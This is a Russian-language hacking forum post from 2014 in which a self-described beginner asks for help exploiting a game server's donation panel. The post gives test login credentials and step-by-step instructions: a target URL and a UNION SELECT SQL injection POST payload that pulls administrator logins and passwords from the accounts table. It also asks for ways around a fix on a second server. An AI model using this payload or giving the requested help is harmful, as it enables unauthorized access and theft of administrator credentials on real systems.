Показать сообщение отдельно

  #1  
Старый 13.03.2014, 14:55
n1k3
Новичок
Регистрация: 13.11.2013
Сообщений: 12
С нами: 6577526

Репутация: 0
По умолчанию

Привет! Нужно воспроизвести старую уязвимость донат панели только не через мазилу с хакбаром , показать другой способ аналогичный этому только в другом браузере,ну или подскажите что еще можно вытащить с этой панели)

P.S. Есть такая же панель на другом сервере,но с мозилы не могу залогинится на нее, админ поставил фикс какой то,я в этом очень плохо разбираюсь,прошу у вас помощи желательно по подробнее,я в этом нуб!

Буду очень признателен за помощь!

ПАНЕЛЬ для теста

акк:painel пасс:painel

Опишу баг еще раз т.к. его удалили с форума.(для мазилы через хакбар)

1. Логинимся в донат панель

2. В верхнюю строчку Хакбара вставляем следущее : http://l2kof.net/donate/painel.php?page=comprar_item

3. В Пост Дата вставляем :items[] =99999 union select 1,2,concat_ws(0x3a,login,password),4,5,6,7,0x69746 56D73 from accounts where access_level=1#

4. В столбце Qtd получаем акк и пасс админа
 
Ответить с цитированием